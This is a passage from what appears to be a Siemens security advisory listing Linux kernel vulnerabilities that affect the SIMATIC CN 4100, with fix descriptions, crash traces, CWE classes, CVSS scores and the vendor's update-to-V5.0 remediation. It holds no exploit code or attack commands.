parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39686\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Make insn_rw_emulate_bits() do insn->n samples The `insn_rw_emulate_bits()` function is used as a default handler for `INSN_READ` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_READ`. Similarly, it is used as a default handler for `INSN_WRITE` instructions for subdevices that have a handler for `INSN_BITS` but not for `INSN_WRITE`. It works by emulating the `INSN_READ` or `INSN_WRITE` instruction handling with a constructed `INSN_BITS` instruction. However, `INSN_READ` and `INSN_WRITE` instructions are supposed to be able read or write multiple samples, indicated by the `insn->n` value, but `insn_rw_emulate_bits()` currently only handles a single sample. For `INSN_READ`, the comedi core will copy `insn->n` samples back to user-space. (That triggered KASAN kernel-infoleak errors when `insn->n` was greater than 1, but that is being fixed more generally elsewhere in the comedi core.) Make `insn_rw_emulate_bits()` either handle `insn->n` samples, or return an error, to conform to the general expectation for `INSN_READ` and `INSN_WRITE` handlers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: light: as73211: Ensure buffer holes are zeroed Given that the buffer is copied to a kfifo that ultimately user space can read, ensure we zero it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39689\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ftrace: Also allocate and copy hash for reading of filter files Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds the pointer to the global tracer hash to its iterator. Unlike the writer that allocates a copy of the hash, the reader keeps the pointer to the filter hashes. This is problematic because this pointer is static across function calls that release the locks that can update the global tracer hashes. This can cause UAF and similar bugs. Allocate and copy the hash for reading the filter files like it is done for the writers. This not only fixes UAF bugs, but also makes the code a bit simpler as it doesn't have to differentiate when to free the iterator's hash between writers and readers.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs/buffer: fix use-after-free when call bh_read() helper There's issue as follows: BUG: KASAN: stack-out-of-bounds in end_buffer_read_sync+0xe3/0x110 Read of size 8 at addr ffffc9000168f7f8 by task swapper/3/0 CPU: 3 UID: 0 PID: 0 Comm: swapper/3 Not tainted 6.16.0-862.14.0.6.x86_64 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996) Call Trace: dump_stack_lvl+0x55/0x70 print_address_description.constprop.0+0x2c/0x390 print_report+0xb4/0x270 kasan_report+0xb8/0xf0 end_buffer_read_sync+0xe3/0x110 end_bio_bh_io_sync+0x56/0x80 blk_update_request+0x30a/0x720 scsi_end_request+0x51/0x2b0 scsi_io_completion+0xe3/0x480 ? scsi_device_unbusy+0x11e/0x160 blk_complete_reqs+0x7b/0x90 handle_softirqs+0xef/0x370 irq_exit_rcu+0xa5/0xd0 sysvec_apic_timer_interrupt+0x6e/0x90 Above issue happens when do ntfs3 filesystem mount, issue may happens as follows: mount IRQ ntfs_fill_super read_cache_page do_read_cache_folio filemap_read_folio mpage_read_folio do_mpage_readpage ntfs_get_block_vbo bh_read submit_bh wait_on_buffer(bh); blk_complete_reqs scsi_io_completion scsi_end_request blk_update_request end_bio_bh_io_sync end_buffer_read_sync __end_buffer_read_notouch unlock_buffer wait_on_buffer(bh);--> return will return to caller put_bh --> trigger stack-out-of-bounds In the mpage_read_folio() function, the stack variable 'map_bh' is passed to ntfs_get_block_vbo(). Once unlock_buffer() unlocks and wait_on_buffer() returns to continue processing, the stack variable is likely to be reclaimed. Consequently, during the end_buffer_read_sync() process, calling put_bh() may result in stack overrun. If the bh is not allocated on the stack, it belongs to a folio. Freeing a buffer head which belongs to a folio is done by drop_buffers() which will fail to free buffers which are still locked. So it is safe to call put_bh() before __end_buffer_read_notouch().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.4\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39692\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb: server: split ksmbd_rdma_stop_listening() out of ksmbd_rdma_destroy() We can't call destroy_workqueue(smb_direct_wq); before stop_sessions()! Otherwise already existing connections try to use smb_direct_wq as a NULL pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Avoid a NULL pointer dereference 